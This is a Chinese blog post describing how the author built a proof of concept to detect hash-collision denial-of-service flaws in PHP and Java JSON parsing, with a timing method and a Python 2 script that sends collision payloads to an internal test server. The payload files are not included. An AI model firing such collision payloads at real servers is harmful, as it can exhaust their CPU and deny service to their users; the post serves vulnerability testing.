hash碰撞POC

hash碰撞POC:

该类型漏洞POC编写过程难点有二:

一. hash碰撞数据的产生或收集

二. 使用responseTime来判断是否存在hash,如何精确的得到

三. 如何估算出服务器的处理/响应时间,以用来判断是否存在漏洞。

 

github能找到hash碰撞的POC,使用python编写的

该POC生成hashcollision的算法思想:

1. 取一个随机数n,由n生成 k维的笛卡尔积

可以理解为k维的数组,如array[AA][BB][CC],计算后为“AABBCC”

2. 将所有数组的值取出来,设定hash算法,计算每个值在该hash算法下的hash值

3. 随机取一个数的hash值,再取出其他与该hash值相同的数,组成hash碰撞的payload

将payload放入POST数据中,使用socket发包,由发包后和接受完整数据后的时间差得出响应时间。

 

该POC的弊端在于,如果只是做检测,没必要每次都生成payload,只需要生成一次payload,就可以多次测试了。

另一个难点,如何准确的判断responseTime。

这一点以burpsuite的时间为准

以自己搭建的内网测试环境,代码为

 

<?php
 $startTime = microtime(true);
$rest = file_get_contents("php://input");
$a=json_decode($rest,true);
?>

 

burpsuite中,不发送POST数据时间为10ms左右,发送正常的json数据时间为 100ms左右

而自己编写的代码,发送正常json数据数据时

1. 计算requests前后的时间差,会有很大的误差,发送数据的时间和接受的时间都会计入在内。而发送的payload较大,通常达到1M,所以时间上有误差。得出时间1300ms左右

2. requests的elapsed.total_seconds()计算得出的时间会比第一种方法少,为800ms左右

3. github上的POC,使用socket发送数据,截取recv前后的时间差, 时间在1200ms左右。

很难接近burpsuite得出的时间,我想主要是request将发送数据的时间计算在内了吧。

由此,可以估算发送数据的时间

time=(发送正常json的时间-不发送数据的时间)  ,再 *4/5 (*4/5是估算去除掉服务器处理正常json时的处理时间)

 

设置判断存在碰撞漏洞的时间线 limit为  

limit=发送正常json数据的时间-time(发送数据的时间)

在每一个payload发送的时间上减去  n/m*time()按发送数据的大小比例估算出的发送数据的时间)

 如果超过划定的时间线,则可能为hash碰撞漏洞

 

经测试,可判断出自己搭建的环境上的hash碰撞漏洞。

测试仍然受网络速度影响。

存在许多瑕疵,仍然可以改进。

比如增加数据量,让服务器处理碰撞数据的时间倍增,则发送数据的时间比重缩小,影响降低。

 

最后贴上测试代码,其中的payload明天再贴上

payload数据还可以改进增加。

#coding:utf-8
import time
import requests
import jsonToString
import pycurl

import thread

class Test:
        def __init__(self):
                self.contents = ''
        def body_callback(self,buf):
                self.contents = self.contents + buf

def timeOfRequest(url,data):
    start=time.time()
    #print data
    try:
        q=requests.post(url,data)
        #print q.content
        return q.elapsed.total_seconds()
    except:
        pass
    end=time.time()
    return 1000000
    #return (end-start)

def test_gzip(input_url,data):
        t = Test()
        #gzip_test = file("gzip_test.txt", 'w')
        c = pycurl.Curl()
        c.setopt(pycurl.WRITEFUNCTION,t.body_callback)
        c.setopt(pycurl.ENCODING, 'gzip')
        c.setopt(pycurl.URL,input_url)
        c.setopt(pycurl.POSTFIELDS,  data)
        c.perform()
        http_total_time = c.getinfo(pycurl.TOTAL_TIME)
        return http_total_time
        http_size = c.getinfo(pycurl.SIZE_DOWNLOAD)
        print 'conn_time pre_tran start_tran total_time'
        print "%f %f %f %f"%(http_conn_time,http_pre_tran,http_start_tran,http_total_time)

#print timeOfRequest(url,"normal")
def control(url,string,data):
    #print string
    return test_gzip(url,data)
    #time=timeOfRequest(url,data)
    #print time
    #if time > 26:
    #    print "Probably have hashcollistion"

def show(times,limit):
    for name in times:
        if times[name]>limit:
            print "Probably have HashCollision==>",
        print name+":",
        print times[name]

def check(url):
    nulldata=open("null.txt","r").readline()
    normaldata=open("normal.txt","r").readline()
    phpjsondata=open("phpjson.txt","r").readline()
    javajsondata=open("javajson.txt","r").readline()
    phpdata=jsonToString.jsonToString(phpjsondata)
    javadata=jsonToString.jsonToString(javajsondata)

    times={}

    print "NO THREAD"
    times["null"]=control(url,"null",nulldata)
    time.sleep(1)
    times["normal"]=control(url,"normal",normaldata)  #利用normal,算出发送大量数据的时间,所占比例约为 (normal-null)*4/5
    time.sleep(1)


    trantime=(times["normal"]-times["null"])*4/5
    base=times["normal"]-trantime
    limit=base*13
    print limit


    times["phpjson"]=control(url,"phpjson",phpjsondata)-1.36*trantime
    times["php"]=control(url,"php",phpdata)-1.36*trantime
    times["javajson"]=control(url,"javajson",javajsondata)-2.3*trantime
    times["java"]=control(url,"java",javadata)-2.3*trantime

    show(times,limit)


if __name__ == '__main__':
    url="http://10.252.223.15/test.php"
    check(url)
    # while 1:
    #     pass

 

posted @ 2018-02-28 22:13  huim  阅读(272)  评论(0编辑  收藏  举报